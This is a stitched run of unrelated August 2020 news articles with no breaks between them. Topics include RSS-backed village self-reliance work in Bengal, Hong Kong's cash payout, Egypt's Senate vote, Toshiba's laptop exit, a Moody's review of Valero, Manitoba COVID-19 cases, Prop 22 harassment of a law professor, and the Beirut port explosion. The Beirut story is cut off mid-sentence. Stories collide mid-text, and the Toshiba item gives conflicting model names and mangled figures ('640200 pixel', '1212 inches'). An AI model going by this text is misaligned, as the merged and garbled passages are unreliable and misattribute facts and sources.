pathor shaban (a locally made hard soap). Its cheaper and multipurpose. You can bath and wash clothes too, Sukumar explains. Sukumar is among the many crab-mara (expert in catching jumbo crabs from the river) who was forced to leave his Deulbari Debipur village a couple of years ago to work as a daily wage labourer in Tamil Nadu for better prospects. Things were getting on track and then the coronavirus invaded their lives and it did irreparable damage to people like Sukumar for whom arranging decent meals a day is now a challenge. Due to the lockdown woes, he was forced to come back to his village in Bengal and he engaged himself in odd jobs in the unorganised sector but that too failed to solve his problems or those of others like him. The reason: exploitation by the employers who pay little. A few days ago, while he was resting under the open sky in the evening on a cot, his wife Bharati told him that some local youths were engaged in social work along with the organisation Samaj Seva Bharati backed by the Rashtriya Swayamsevak Sangh (RSS) and they have taken up a two- year project under the banner of Atmanirbhar Bangla to make villagers self-reliant. Bharati was told that the project is to empower the people in rural Bengal so that instead of migrating to other places for better job prospects, they can be a part of this sustainable development mission for better living by staying in their own villages. News18.com found that not only Deulbari Debipur village but Samaj Seva Bharati, Sahakar Bharati and Bharatiya Mazdoor Sangh have chosen 120 remote and backward villages across the state for Atmanirbhar Bangla. Starting from providing infrastructure, machinery and tools to the skilled workers to empowering women in learning the rural economy and ways to achieve their ambitions these RSS-backed organisations are working round the clock on this sustainable-development programme to make villagers self-reliant. Speaking to the News18.com, Dr Jisnu Basu, Karyavaha, RSS, South Bengal Pranta, said, We have selected 120 remote and backward villages from all the districts in Bengal to make villagers and migrant workers self-reliant. We felt that in this time of a pandemic there is an urgent need to make them self-dependent by providing technical assistance to them. Most of them are skilled workers and they have good knowledge in their respective areas like farming, poultry, mechanical work, automobile repairing, civil activities, tailoring, etc. We will provide our support to them for 24 months to make them self-reliant so that they dont have to move to other states for livelihood. Raising concerns over the extent of the damage that happened during Cyclone Amphan, he said, Several acres of farmland was damaged as saltwater entered the low-lying areas. We are helping the farmers make their land cultivable again with chemical treatment. It will take some time for this and in the meantime we are supporting them by providing small boats so they can earn their living through the river economy. We did a small calculation and found that eight families can survive and earn their living for one month with the help of a single fishing boat. As an average, if we consider four members in a family, then a fishing boat can feed nearly 34-35 people in a month. Rajesh Laskar, Prachar Pramukh and also a teacher by profession, at Basirhat in North 24 Parganas, is also involved in various projects to uplift the lifestyle of migrant workers in that area. Atmanirbhar Bangla is a long project and till they become self-reliant, we are assisting these poor villagers with food, clothes, medicines and other daily requirements. Alongside, we have plans to train them in various sectors like cow-based economy, how to open an automobile garage, what skills it requires to open a garage, tailoring skills, cow-dung products, salesman skills for small items like lozenges, bindi, bangles, leaf plates, eco-friendly bags, pickles, homemade sweets, papad, etc. So far, the response is very good and I hope people in backward villages will benefit from our initiatives, Laskar said. Extensive social work by the Sangha karyakartas and affiliates is nothing new in Bengal but despite being the home state of Jana Sangh ideologue Syama Prasad Mukherjee, the RSS was hardly worthy of notice here for decades. Since the near-absolute rout of the CPI(M)-led Left Front and Narendra Modis ascent to power in 2014, the Sangh has suddenly emerged as a force to reckon with in the state. So much so that veteran journalists who have covered politics for years are getting into the habit of making the rounds of Keshav Bhavan in north Kolkata, a nondescript building that houses the Sanghs regional headquarters. Even till a couple of years ago, most reporters would have walked past the building without a second glance. This sudden attention from the media has not changed things much for the RSS and it continues to run its show the way it always has, away from the public eye. The Sangh has carefully draped its saffron veil over all its activities, be it organising workshops or top RSS functionaries addressing regular seminars at Salt Lake Sector V, Bengals IT hub. Even though the practice is to organise workshops spanning over 15 to 20 days as part of 'karyakarta nirmaan', an initiation process to train new cadres, such sessions have hardly ever drawn any attention. The Sangh, which has been silently active in West Bengal ever since the Partition, has been moving like an invisible force through the swathe of refugees, who made their way across the border in 1947, and then in 1971. And till today, it is working actively in rural as well as in urban Bengal on various projects for the betterment of society. The winds of change have started to blow, particularly since Narendra Modi came to power in 2014. Even the state BJP, which was not even a marginal force in the states political scenario, has started claiming bigger stakes. Things changed even more with the arrival of Dilip Ghosh on the scene, as he took over as president of the state BJP unit in late 2014. An old RSS hand, with around 25 years of field experience in the East and the Northeast, he was brought in to infuse fresh blood into the partys state unit. The proximity of the BJP leadership with the Sangh has often been questioned in the face of criticism that the party is just the political manifestation of the RSS, a conclusion that has been objectively refuted by both BJP and RSS leaders. Although the number of shakha or individual units, along with the members roster, has been a closely guarded secret for decades, a senior RSS functionary let out that the number of shakhas has gone up from 800 in 2011 to nearly 2,000 (daily shakhas) in 2020. RSS has set a target of opening one shakha at each gram panchayat of West Bengal by 2021, a target which many connect with the upcoming assembly polls in the state next year. The working president of Bharatiya Mazdoor Sangh in Bengal, Ravi Singh, said, We are a non-political organisation and our motto in life is seva and only seva. We are here to serve the people mainly in rural Bengal. Yes, we collectively have taken the responsibility to make people 'atmanirbhar. If people become atmanirbhar then they will be able to make decisions freely without any pressure and compulsion. We have set up 38 help desks in 19 districts to help poor villagers and migrant workers. Our survey revealed that out of 100 per cent, nearly 80 per cent want to go back to other states for jobs and the rest 20 per cent want to stay back in their home village. So, we have decided to make these 20 per cent villagers self-reliant. Through these help desks, we are trying to know their interest areas and subsequently we are helping them in training. While elaborating more on the training, he said, We will provide them training in making hand sanitisers, face masks, farming, bleaching powder, phenyl, incense sticks as well as civil work, etc. We have also started working on preparing a database of migrant workers. I feel that this is certainly going to be a boon for the villagers living in remote villages. Sanghathan Sampadak of Sahakar Bharati, Vivekananda Patra, too has an elaborate plan to empower the villagers through self-help groups. There is no dearth of talent in villages and we are just shaping their dreams through technical support. For example, wheat flour...we have started packaging of wheat flour in some of the villages and marketing it in the rural kirana shops. The cost of wheat in rural Bengal is not much but private companies are selling packed wheat flour at exorbitant prices and people are buying it. You ask anyone in urban areas about the price of 1 kg of wheat, most of them will not be able to tell the price. We thought to educate people about the economy based on wheat flour through attractive packaging. It works, he said. Similarly, we are helping these villagers in marketing honey, mustard oil, tea through processing units, and packed pulses. Not the least, to those who have passed engineering, we are providing support, so that they can start their own construction company on a small scale. Our target is to save these people from touts and we believe that the rural economy should be utilised to uplift rural people, Patra said. Hong Kong: 170,000 more people to get $10k The Government today announced that people born in 1971 to 2002 who registered for the Cash Payout Scheme by paper forms on or before August 1 will receive their payments or notifications for cheque collection from August 12. This is five days earlier than originally planned, the Government said, noting that about 170,000 people will be involved. People who submitted paper forms to banks will receive payments through their specified personal bank accounts. Those who submitted registration forms to Hongkong Post will receive notifications for cheque collection via SMS or by post. They may collect the order cheques in person from the post offices they specified for about one month. Post offices in Wong Tai Sin District, where the epidemic is relatively severe, will continue to suspend services until August 16. Wan Chai Post Office will remain closed until August 15 after a postman working for the district delivery office was confirmed to have COVID-19. All other post offices maintain their regular opening hours on Monday, Wednesday and Friday, but close earlier at 4pm. The time of receiving cheque collection notifications by some people will therefore be affected. People may call 2921 2222 for individual post offices service hours. The Government reminded members of the public that there is no need to rush to check account balances at banks or collect cheques at post offices, adding that they should avoid gathering to reduce the risk of infection. As of August 10, the scheme has disbursed payments or issued cheque collection notifications to more than 5.9 million eligible people. Call 18 2020 for more information. This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. Egypt is holding elections for a restored second parliamentary chamber on Tuesday and Wednesday. The Senate Council, parliaments upper house, was reinstated as part of constitutional amendments adopted in 2019. Egypt used to have the Shura Council, another name for the upper house, until 2013 before it was dissolved in the 2014 constitution. The constitutional changes also allowed Egyptian President Abdel-Fattah al-Sisi, who first took the office in 2014, to stay longer in power, possibly until 2030. The Senate would be formed of 300 members, two thirds of them elected by public vote and the remaining third appointed by the president. A vote was held on Sunday and Monday for Egyptian expatriates. The initial results of the vote will be announced on August 19, with a run-off scheduled on September 6 to September 7 for expatriates and September 8 to September 9 in Egypt. The National Election Authority has stressed that strict anti-coronavirus measures would be in place during the vote to prevent the spread of the virus. All the polling stations would be sterilised before the start of voting, and voters would be required to wear masks and observe social distancing while casting their ballots. Public gatherings for campaigning had been banned. Lashin Ibrahim, head of the elections authority, has called on Egyptians to heavily participate in the vote. (dpa/NAN) Toshiba was always at the forefront of reliability when it came to portable computers, laptops. The Japanese tech giants started a revolution with the T1100 laptop, which was technically regarded as the first laptop available to the public. Exit in the Pipeline for a While Toshiba showed their intent in leaving the laptop business when they sold 80.1% of their stake in their computer business to Foxconn owned Sharp back in 2018. The company quietly sold the remaining 19.9% shares of the Dynabook to the Sharp corporation, as reported in the press release. Killed by the Competition? While Toshiba bet on the media-centric laptops, companies like Dell, ASUS and Apple conquered the market with their ultrabooks for different budget segments. The companys landmark business segment also took a hit with Dell mastering the art of developing some high-end business-grade laptops that last. The First Laptop for Public Back in 1985, Toshiba launched the T110 laptop and changed the portable computer market for good. The display sported a 640200 pixel resolution backed by 256 KB of memory and an LCD that could display 25 lines with a maximum of 80 characters. The 640KB and 720KB floppy-disks were the critical components that drove the laptop with its storage and operations. The old bad boy weighed around 4.1 kilograms(9 pounds) and was approximately 1212 inches in a diagonally closed shape. The price was a modest $1,999, which was out of the reach of many fans at the time. Source: Xinhua| 2020-08-11 21:34:44|Editor: huaxia Video Player Close Pu Zongxin (R) prepares to fly a drone during work in Menghai County in Xishuangbanna Dai Autonomous Prefecture, southwest China's Yunnan Province, Aug. 8, 2020. About 280 wild Asian elephants, the largest wild Asian elephant population in the country, live in Xishuangbanna Dai Autonomous Prefecture. Pu Zongxin is a wild Asian elephant tracker of an official monitoring team in Menghai to avoid conflicts between humans and wild elephants, against a backdrop of a growing population of the mammal in China, mostly scattered in Yunnan, thanks to unremitted environmental and wildlife protection efforts. (Xinhua/Chen Xinbo) The requested page is currently unavailable on this server. Back to [RTHK News Homepage] Announcement of Periodic Review: Moody's announces completion of a periodic review of ratings of Valero Energy Corporation Global Credit Research - 10 Aug 2020 New York, August 10, 2020 -- Moody's Investors Service ("Moody's") has completed a periodic review of the ratings of Valero Energy Corporation and other ratings that are associated with the same analytical unit. The review was conducted through a portfolio review in which Moody's reassessed the appropriateness of the ratings in the context of the relevant principal methodology(ies), recent developments, and a comparison of the financial and operating profile to similarly rated peers. The review did not involve a rating committee. Since 1 January 2019, Moody's practice has been to issue a press release following each periodic review to announce its completion. This publication does not announce a credit rating action and is not an indication of whether or not a credit rating action is likely in the near future. Credit ratings and outlook/review status cannot be changed in a portfolio review and hence are not impacted by this announcement. For any credit ratings referenced in this publication, please see the ratings tab on the issuer/entity page on www.moodys.com for the most updated credit rating action information and rating history. Key rating considerations are summarized below. Valero Energy Corporation's (VLO) Baa2 rating is supported by strong liquidity despite the sharp decline in demand for refined products in the first half of 2020. The company has large operating scale, high process complexity, and significant refined product export opportunities that allow for optionality in feedstocks and product slates. Additionally, the company has access to a wide selection of markets. The company's credit profile is supported by the expectation of free cash flow generation through the refining cycle, as well as strong operating execution by its management team. Compared to its US peers with large downstream assets, Valero Energy Corporation has higher earnings volatility, which restrain its credit profile, along with management's focus on high shareholder returns. Story continues This document summarizes Moody's view as of the publication date and will not be updated until the next periodic review announcement, which will incorporate material changes in credit circumstances (if any) during the intervening period. The principal methodology used for this review was Refining and Marketing Industry published in November 2016. Please see the Rating Methodologies page on www.moodys.com for a copy of this methodology. This announcement applies only to EU rated and EU endorsed ratings. Non EU rated and non EU endorsed ratings may be referenced above to the extent necessary, if they are part of the same analytical unit. This publication does not announce a credit rating action. For any credit ratings referenced in this publication, please see the ratings tab on the issuer/entity page on www.moodys.com for the most updated credit rating action information and rating history. Elena Nadtotchi VP - Senior Credit Officer Corporate Finance Group Moody's Investors Service, Inc. 250 Greenwich Street New York, NY 10007 U.S.A. JOURNALISTS: 1 212 553 0376 Client Service: 1 212 553 1653 Steven Wood MD - Corporate Finance Corporate Finance Group JOURNALISTS: 1 212 553 0376 Client Service: 1 212 553 1653 Releasing Office: Moody's Investors Service, Inc. 250 Greenwich Street New York, NY 10007 U.S.A. JOURNALISTS: 1 212 553 0376 Client Service: 1 212 553 1653 2020 Moody's Corporation, Moody's Investors Service, Inc., Moody's Analytics, Inc. and/or their licensors and affiliates (collectively, "MOODY'S"). All rights reserved. CREDIT RATINGS ISSUED BY MOODY'S INVESTORS SERVICE, INC. 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While the number of active novel coronavirus cases has been soaring, the province has no immediate plans to slap new restrictions on Manitobans' movements. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no longer be current. While the number of active novel coronavirus cases has been soaring, the province has no immediate plans to slap new restrictions on Manitobans' movements. Nor is it looking at any special rules for folks living in Brandon, where a cluster of cases has now risen to 64, including 22 who work at the Maple Leaf Foods Inc. meat processing plant. On Monday, health officials reported 16 new cases of COVID-19 in Manitoba, on top of 51 announced over the weekend. Of the new cases, 11 were in the Prairie Mountain Health region, which includes the city of Brandon; five were located in Southern Health region. The new cases bring the grand total so far to 558 in Manitoba. The current five-day test positivity rate has climbed to 1.59 per cent, compared with 0.46 per cent immediately following the long weekend. Of the six people currently in hospital with COVID-19, three are in intensive care, including one on a ventilator. There are now 196 active cases of the virus in the province, compared with only one just four weeks ago. Dr. Brent Roussin, chief provincial public health officer, said the rising case counts themselves are no reason to scale back the partial reopening of the economy or to place renewed restrictions on Manitobans. Most of the new cases announced in recent days are connected to known clusters in Brandon and the Southern Health region, he said Monday. There is evidence of some community transmission of the virus, but not a lot, he said. "Certainly, extra precautions are needed in those areas where we're starting to see increased numbers," Roussin told a media briefing. Before it knew a lot about COVID-19, the province took a blunt, broad-based approach in restricting people's movements. The plan going forward is to take "a more surgical approach" if restrictions are required, Roussin said. "We need to find ways to live with this virus and not continually shut things down when we see cases," Roussin said. "We need to get used to seeing cases. We have to get used to living with the fundamentals which will allow us to not restrict things again to the nature we had in April." If greater restrictions are needed in specific regions or municipalities, they will be implemented, he said. However, health officials do not think conditions have reached that state in Brandon yet. Case counts themselves are just one factor to be considered in reimposing restrictions, Roussin said. The level of community spread (historically 11 per cent in Manitoba) is also a factor. So is the level of demands being placed on hospitals. Health Minister Cameron Friesen said Manitobans will receive more precise geographic information on new COVID-19 cases "before the week is out." He did not indicate whether information would be provided on a municipal basis or for zones or districts within health regions. In North Dakota, for example, case information is provided on a county basis. Until now, the province has mainly identified new cases on a provincial and regional health region basis. An exception has been the recent outbreak in Brandon. Meanwhile, Roussin said there was no large community event at the root of the Brandon case cluster. Officials are still unsure whether a traveller from eastern Manitoba who did not properly self-isolate is the cause or merely a contributor to the outbreak. All officials know is it emanated from "certain areas of the community where people are living together and are connected frequently," Roussin said. Walmart cases Walmart Canada said Monday three employees at two Manitoba stores have tested positive for COVID-19 in the past two weeks. One case was at the Winnipeg North store on McPhillips Street, where the employee last worked Aug. 2. The other two cases were at the Walmart in Brandon, where one of the employees last worked Aug. 2, and the other July 26. click to read more Walmart Canada said Monday three employees at two Manitoba stores have tested positive for COVID-19 in the past two weeks. One case was at the Winnipeg North store on McPhillips Street, where the employee last worked Aug. 2. The other two cases were at the Walmart in Brandon, where one of the employees last worked Aug. 2, and the other July 26. Everyone at Walmart wishes them a speedy recovery, spokesman Adam Grachnik said in an email. The co-workers who were in close prolonged contact with the individuals who tested positive have been directed to self-isolate, and are being paid while they isolate, he said. Walmart has been doing regular enhanced cleaning and taken other measures to protect customers and employees, Grachnik said. The province did not issue an advisory about the Manitoba Walmart cases. Chief provincial public health officer Dr. Brent Roussin has said the public will be notified only when officials are unable to identify all those who may have been exposed to the novel coronavirus. Asked about the case at the McPhillips Street location Monday, he said the employee was last at work 48 hours prior to the onset of symptoms, all contacts had been identified, and the risk to the public was "very, very low." Close While Roussin has repeatedly said there is no evidence the Brandon outbreak is linked to the operations of the Maple Leaf plant, the NDP's health critic, Uzoma Asagwara, joined the workers' union in calling for it to temporarily close. "I think that calls to close the Maple Leaf plant are valid calls," Asagwara said. Asagwara also called for the Manitoba legislature to resume sitting, so MLAs can debate how best to navigate the surge in COVID-19 cases and the reopening of schools in four weeks' time. Roussin and Friesen emphasized Manitoba's back-to-school planning including the use of face masks is constantly evolving to ensure child safety. Asked about parental concern about the risks of sending children back to school this fall, they countered there are also risks to massive school shutdowns. Jen Zoratti | Next A weekly look towards a post-pandemic future delivered to your inbox every Wednesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Roussin noted children are less likely to have "severe outcomes," if they contract the coronavirus. "The younger kids, at least, are shown to not be significant in the transmission of the virus." Despite the recent spike in provincial cases, Roussin said there's a lot Manitobans can do to minimize their risk of contracting COVID-19. That includes frequent hand-washing, ensuring physical distancing and wearing masks where physical distancing is difficult or impossible. It may also include avoiding certain riskier activities. "I've gone to restaurants with my family. If I walked into a restaurant that was crowded, I would walk out," Roussin said. larry.kusch@freepress.mb.ca carol.sanders@freepress.mb.ca Carol Sanders Legislature reporter After 20 years of reporting on the growing diversity of people calling Manitoba home, Carol moved to the legislature bureau in early 2020. Read full biography Yorkshires second largest landowner, Yorkshire Water, has launched a programme to support young farmers looking to rent their land. The initiative is part of the water firm's existing Beyond Nature scheme, which supports tenant farmers to deliver sustainable land management. Scow Hall Farm, located in the Washburn Valley, is the first farm to take part in the initiative and will be let out to a young farmer for a five-year period. Within the EU only 11% of farms are run by those under 40, with the largest proportion of farmers being over the age of 55. Lisa Harrowsmith, lead surveyor at Yorkshire Water said: After the first five-year lease, we will let the farm to another young farmer, therefore creating a cycle of opportunity for the next generation of farmers. "Once the tenancy is up, we will assist that farmer with finding new opportunities on a permanent holding or elsewhere within the agricultural industry. Beyond Nature was developed by Yorkshire Water in 2016 when Humberstone Bank Farm first adopted the ethos, which holds sustainable land management at its core and prioritises nine key values. Scow Hall Farm has the potential to deliver on seven of those values, including: biodiversity, water quality, carbon sequestration, farming enterprise, social benefits, climate change and recreation. Ms Harrowsmith added: We are looking to create a programme of starter farms to provide young farmers the opportunity to take on a farm. We want to give young farmers the tools to create sustainable farms and will provide a mentor, training and business advice to encourage a sustainable approach to land management." Applications for Scow Hall Farm will open in late August. A letter written by three medical doctors and signed by 170 other parents is urging a Burlington County school district to reconsider allowing students to eat together in a cafeteria as part of a COVID-19 reopening plan. Children sitting at tables without masks in an environment that encourages talking loudly and eating are at significant increased risk of spreading infection to those at their table and nearby tables, as has been demonstrated in outbreaks in restaurants, said the letter addressed to officials of the Moorestown school district, dated Aug. 3. It stands to reason that the safety standards set for our students should be far higher than those set for restaurants, in which patronage is voluntary. Two of the three parents who wrote the letter, Dr. Lauren Marlowe and Dr. Tamara Solitro, declined further comment, but forwarded a copy of the letter, which was also signed by fellow parent Dr. Persephone Jones. Credit: CC0 Public Domain Obesity increases the release of tumor-promoting molecules from fat tissue and is associated with an increased risk of breast cancer, according to a study published in Endocrine-Related Cancer. The study found that fat tissue from people with obesity released increased amounts of extracellular vesicles (EV's) enriched in harmful and inflammatory molecules into the blood stream, which can alter breast cancer cells to become more aggressive and invasive. These findings suggest that substances released from fat tissue may increase tumor malignancy that could lead to new therapeutic targets and improved cancer treatments. Obesity is a global, public health problem with rapidly increasing rates that has been linked to increased risk of breast cancer. Breast cancer is the most common cancer among women and despite the well-known association between obesity and increased breast cancer risk, few studies have evaluated the role of fat tissue. Fat tissue is known to release inflammatory molecules that can increase the risk of diabetes, cardiovascular disease and cancer. They also produce EV's that carry inflammatory molecules and other substances, including enzymes and molecules that are involved in cell-to-cell communication. More of these vesicles are released from the fat tissue of people with obesity. A better understanding of how the contents of EV's may affect cancer cells could help explain the link between obesity and a poor cancer prognosis. Professor Christina Barja-Fidalgo and her group, from State University of Rio de Janeiro, analyzed the effects of the fat tissue-derived EV's on breast cancer cells. Fat tissue was obtained from obese patients who had undergone weight-loss surgery, and from lean people undergoing plastic surgery. These tissues were incubated in culture for 24 hours and the amount and type of substances secreted from both were compared. The analysis showed that the fat tissue from obese patients secreted higher amounts of inflammatory molecules and also produced a greater number of small vesicles, which may increase breast cancer risk. "When the extracellular vesicles carrying inflammatory molecules interact with breast cancer cells, we see they are able to modify their behavior, so that they become more aggressive with increased capacity to invade other tissues," Prof Barja-Fidalgo explains. These findings demonstrate how obesity can induce alterations in fat tissue function, which may explain how obesity contributes to increased breast cancer risk, as well as why obese women are more likely to have a worse prognosis. Prof Barja-Fidalgo says, "Identifying these harmful fat tissue secretions in the blood of obese patients could be a new parameter to be monitored, as an indicator of cancer progress. Understanding the content of the vesicles released by fat tissue during obesity may provide new therapeutic targets and improve cancer treatment." Prof Barja-Fidalgo now plans to investigate the characteristics and specific contents of extracellular vesicles released by fat tissue, to determine the main molecules associated with obesity-induced alterations in tumor cells and their modes of action. Explore further Breast cancer cells use message-carrying vesicles to send oncogenic stimuli to normal cells More information: Isadora Ramos-Andrade et al. Obese adipose tissue extracellular vesicles raise breast cancer cell malignancy, Endocrine-Related Cancer (2020). Isadora Ramos-Andrade et al. Obese adipose tissue extracellular vesicles raise breast cancer cell malignancy,(2020). DOI: 10.1530/ERC-19-0507 Provided by Society for Endocrinology Uber has long been notorious for its hard-knuckled business practices, but these days the company is trying to sound like the reasonable compromiser. On Monday, for example, the New York Times published an op-ed from Uber CEO Dara Khosrowshahi responding to criticisms that gig-economy companies fail the workers on their platforms. While maintaining Ubers usual argumentthat turning independent contractors into employees would deprive them of the freedom to work however much they wantKhosrowshahi offers what he frames as a third way: new state laws that would require companies like Uber to establish benefit funds for workers, but not formalize their employment. Advertisement Uber isnt just fighting to maintain its business model on op-ed pages, however. The magnanimous, levelheaded tone of Khosrowshahis piece belies the combativeness of the campaign Uber has funded to resist a landmark California law that would require the company to grant employee benefits and protections to its drivers. That was underscored in an incident last week. A group formed by Uber and several of its industry peers has recently taken to targeting a law professor on Twitter over her efforts to get their workers classified as employees. The Twitter account for Yes on 22, a committee dedicated to promoting the California Proposition 22 ballot measure that would keep some gig workers as independent contractors, encouraged users to post screenshots of notifications that they had been blocked by University of CaliforniaHastings law professor Veena Dubal. The account subsequently retweeted screenshots from users who purported to be gig drivers. Advertisement Advertisement Advertisement Advertisement Advertisement If Veena Dubal is standing up for drivers as she claims, why does she continue to silence those who try to engage her? If you've been blocked by Veena Dubal, reply with your screenshot below! https://t.co/jHORaVyVUi Yes On Proposition 22 (@VoteYesOn22) August 7, 2020 Yes on 22 has about $110 million in funding$90 million from Uber, Lyft, and DoorDash, and $20 million from Postmates and Instacart. The committee has gathered signatures, bought ads, and filed a lawsuit in order to get the proposition passed in November. Prop 22 would partially overturn AB5, the California law signed in 2019 that requires companies to reclassify independent contractors as employees, entitling them to health insurance, workers compensation, and other benefits. So far Uber and Lyft have resisted the law, which could cost them hundreds of millions of dollars a year if they complied. The San Francisco Superior Court ruled on Monday, though, that the companies must start complying with it. Prop 22 could be one of their last chances to escape AB5. That might explain, though not excuse, the pique of Yes on 22s social media strategy, which evokes an image Uber has worked to shed since the ousting of pugnacious CEO Travis Kalanick in 2017. The company was often aggressive toward its critics under Kalanick, threatening to dig up dirt on journalists and hiring intelligence firms to investigate plaintiffs whove sued the company. Advertisement Advertisement Advertisement Advertisement Dubal has been a prominent advocate for AB5 and critic of Prop 22, which she argues will codify the inability of drivers to predict their income. She drafted a letter in 2019 urging the U.S. Senate to support AB5 and has been vocal in the media calling for more protections for gig workers (including in Slate). In February, around the time when Yes on 22 formed, a number of Twitter accounts became fixated on framing her as the secret ghostwriter of AB5. While Dubal has been supportive of the legislation, she did not draft it. On Twitter, she was buffeted with threats and vulgar harassment, often denigrating her identity as a woman of color. Other accounts circulated false rumors about her, alleging that she was harassing independent contractors on Twitter. In an interview, Dubal told me she noticed that some of these accounts had a minimal presence outside of the harassment and were registered recently. (She shared several screenshots; Slate blurred the usernames of the individuals who tweeted at Dubal.) Advertisement Advertisement Advertisement Advertisement Advertisement Advertisement After someone posted her home address on Twitter in March, Dubal hired a digital security consultant in order to mitigate potential threats to her family. That was really scary, because it was in the middle of the lockdown. People knew that I was at home, and I have three small children, she said. It was very easy to find us and potentially hurt us. Beyond scrubbing her personal info from the web, the consultant also advised her to more aggressively block accounts that were harassing her or getting aggressive in her mentions. She says that shes been harassed offline as well. Advertisement When contacted about the tweet asking for blocking screenshots, Yes on 22 spokesperson Geoff Vetter provided a statement: We may disagree on policy, but we should be able to do so without being disagreeable. The campaigns post simply asked why an advocate for drivers is silencing the very drivers who disagree. We condemn anyone who is harassing Professor Dubal and ask that it stop immediately. (Uber, Lyft, and DoorDash did not reply to requests for comment.) Thats a really disingenuous response. The account has seen all the harassment thats been going on, Dubal said of Yes on 22s statement. This particular tweet was intended to incite harassment. Heres one reply to that tweet: Advertisement Advertisement Advertisement Advertisement Advertisement Dubal pointed out that she is not a public official and has no way of knowing whether the people behind the accounts she blocked are actually drivers. She generally does not engage with drivers on social media but talks with them as part of her ethnographic research into how shifting technologies affect the lives of ride-hail drivers in San Francisco. Dubal had never interacted with Yes on 22 prior to the committee singling her out on Twitter. Shortly before Yes on 22s account began soliciting the screenshots, she had been tweeting about the San Francisco Superior Court case, which could explain why she became a target at that moment. This idea that Im not listening to drivers is really insidious, she said. If [Yes on 22] bothered to read my research, they would see how deeply I grapple with how drivers feel about employment status in particular, and how carefully and critically I take their life experiences into consideration. Share this article Whatsapp Facebook Twitter Linkedin Samia Nakhoul and Laila Bassam (Reuters) Beirut, Lebanon Tue, August 11, 2020 14:15 526 6657ac82168da9fa101c8a4066d1a03b 2 World Lebanon,Ammonium-nitrate,fertilizer,Beirut,Beirut-blast,Beirut-explosion Free Lebanese security officials warned the prime minister and president last month that 2,750 tons of ammonium nitrate stored in Beirut's port posed a security risk and could destroy the capital if it exploded, according to documents seen by Reuters and senior security sources. Just over two weeks later, the industrial chemicals exploded in a massive blast that obliterated most of the port, killed at least 163 people, injured 6,000 more and destroyed some 6,000 buildings, according to municipal authorities. A report by the General Directorate of State Security about events leading up to the explosion included a reference to a private letter sent to President Michel Aoun and Prime Minister Hassan Diab on July 20. While the content of the letter was not in the report seen by Reuters, a senior security official said it summed up the findings of a judicial investigation launched in January which concluded the chemicals needed to be secured immediately. The state security report, which confirmed the correspondence to the president and the prime minister, has not previously been reported. "There was a danger that this material, if stolen, could be used in a terrorist attack," the official told Reuters. "At the end of the investigation, Prosecutor General [Ghassan] Oweidat prepared a final report which was sent to the authorities," he said, referring to the letter sent to the prime minister and president by the General Directorate of State Security, which oversees port security. "I warned them that this could destroy Beirut if it exploded," said the official, who was involved in writing the letter and declined to be named. Reuters could not independently confirm his description of the letter. The prime minister's office and the presidency did not respond to requests for comment about the July 20 letter. The prosecutor general did not respond to requests for comment. 'Do what is necessary' The correspondence could fuel further criticism and public fury that the blast is just the latest, if not most dramatic, example of the government negligence and corruption that has already pushed Lebanon to economic collapse. As protests over the blast raged in Lebanon on Monday, Diab's government resigned, though it will remain as a caretaker administration until a new cabinet is formed. The rebuilding of Beirut alone is expected to cost up to $15 billion, in a country already effectively bankrupt with total banking system losses exceeding $100 billion. Aoun confirmed last week that he had been informed about the material. He told reporters he had directed the secretary general of the supreme defense council, an umbrella group of Lebanon's security and military agencies chaired by the president, to "do what is necessary". "(The state security service) said it is dangerous. I am not responsible! I don't know where it was put and I didn't know how dangerous it was. I have no authority to deal with the port directly. There is a hierarchy and all those who knew should have known their duties to do the necessary," Aoun said. Many questions remain over why the shipment of ammonium nitrate docked in Beirut in late 2013. Even more baffling is why such a huge stash of dangerous material, used in bombs and fertilizers, was allowed to remain there for so long. The letter sent to Lebanon's president and prime minister followed a string of memos and letters sent to the country's courts over the previous six years by port, custom and security officials, repeatedly urging judges to order the removal of the ammonium nitrate from its position so close to the city center. The General Directorate of State Security's report seen by Reuters said many requests had been submitted, without giving an exact number. It said the port's manifest department sent several written requests to the customs directorate up until 2016 asking them to call on a judge to order the material be re-exported immediately. "But until now, no decision has been issued over this matter. After consulting one of our chemical specialists, the expert confirmed that this material is dangerous and is used to produce explosives," the General Directorate of State Security report said. Hazardous material The road to last week's tragedy began seven years ago, when the Rhosus, a Russian-chartered, Moldovan-flagged vessel carrying ammonium nitrate from Georgia to Mozambique, docked in Beirut to try to take on extra cargo to raise the fees for passage through the Suez Canal, according to the ship's captain. Port authorities impounded the Rhosus on December 2013 by judicial order 2013/1031 due to outstanding debts owed to two companies that filed claims in Beirut courts, the state security report showed. In May 2014, the ship was deemed unseaworthy and its cargo was unloaded in October 2014 and warehoused in what was known as Hangar 12. The ship sank near the port's breakwater on Feb. 18, 2018, the security report showed. Moldova lists the owner of the ship as Panama-based Briarwood Corp. Briarwood could not immediately be reached for comment. In February 2015, Nadim Zwain, a judge from the Summary Affairs Court, which deals with urgent issues, appointed an expert to inspect the cargo, according to the security report. The report said the expert concluded that the material was hazardous and, through the port authorities, requested it be transferred to the army. Reuters could not independently confirm the expert's account. Lebanese army command rejected the request and recommended the chemicals be transferred or sold to the privately-owned Lebanese Explosives Company, the state security report said. The report did not say why the army had refused to accept the cargo. A security official told Reuters it was because they didn't need it. The army declined to comment. The explosive company's management told Reuters it had not been interested in purchasing confiscated material and that the firm had its own suppliers and government import licenses. From then on, customs and security officials wrote to judges roughly every six months asking for the removal of the material, according to the requests seen by Reuters. Judges and customs officials contacted by Reuters declined to comment. A number of customs and port officials have since been detained as part of the investigation into the blast. 'Bad storage and bad judgment' In January 2020, a judge launched an official investigation after it was discovered that Hangar 12 was unguarded, had a hole in its southern wall and one of its doors dislodged, meaning the hazardous material was at risk of being stolen. In his final report following the investigation, Prosecutor General Oweidat "gave orders immediately" to ensure hangar doors and holes were repaired and security provided, a second high-ranking security official who also requested anonymity said. On June 4, based on those orders, state security instructed port authorities to provide guards at Hangar 12, appoint a director for the warehouse and secure all the doors and repair the hole in the southern wall, according to the state security report and security officials. The port authorities did not immediately respond to requests for comment. "The maintenance started and [port authorities] sent a team of Syrian workers [but] there was no one supervising them when they entered to fix the holes," the security official said. During the work, sparks from the welding took hold and fire started to spread, the official said. "Given that there were fireworks stored in the same hangar, after an hour a big fire was set off by the fireworks and that spread to the material that exploded when the temperature exceeded 210 degrees," the high-ranking security official said. The official blamed the port authorities for not supervising the repair crew and for storing fireworks alongside a vast deposit of high explosives. Reuters could not determine what happened to the workers repairing the hangar. "Only because the hangar 